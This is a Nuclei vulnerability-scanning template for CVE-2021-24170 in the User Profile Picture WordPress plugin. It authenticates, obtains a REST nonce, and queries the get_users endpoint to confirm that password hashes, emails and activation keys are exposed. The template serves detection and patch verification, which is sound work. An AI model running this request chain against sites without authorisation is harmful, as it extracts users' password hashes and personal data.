id: CVE-2021-24170

info:
  name: User Profile Picture < 2.5.0 - Sensitive Information Disclosure
  author: s4e-io
  severity: high
  description: |
    The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.
  impact: |
    Authenticated users with upload_files capability can extract sensitive user information including password hashes, activation keys, usernames, and email addresses via REST API endpoint.
  remediation: |
    Update to User Profile Picture version 2.5.0 or later.
  reference:
    - https://www.wordfence.com/blog/2021/03/medium-severity-vulnerability-patched-in-user-profile-picture-plugin/
    - https://wpscan.com/vulnerability/29fc5b0e-0a5f-4484-a1e6-a0a1206726cc/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24170
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24170
    cwe-id: CWE-200
    epss-score: 0.04788
    epss-percentile: 0.90786
    cpe: cpe:2.3:a:cozmoslabs:user_profile_picture:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: cozmoslabs
    product: user_profile_picture
    framework: wordpress
    fofa-query: body="/wp-content/plugins/metronet-profile-picture"
    publicwww-query: "/wp-content/plugins/metronet-profile-picture"
  tags: cve,cve2021,wp,wp-plugin,wpscan,wordpress,info-leak,authenticated,metronet-profile-picture,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'len(body)==0'
          - 'status_code == 302'
          - 'contains_all(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    extractors:
      - type: regex
        name: nonce
        part: body
        regex:
          - '[a-z0-9]{10}'
        internal: true

  - raw:
      - |
        POST /index.php?rest_route=/mpp/v2/get_users HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-WP-Nonce: {{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "ID", "user_login", "user_pass")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100dfdf6275d4c32df5e7a7bb3dcb018ffce6b8d04dea9141eb505508d6f5183939022100c457c331207026e65c8a60dc9c39749a5ae63428974ad1dd8f220844a09e97d6:922c64590222798bb761d5b6d8e72950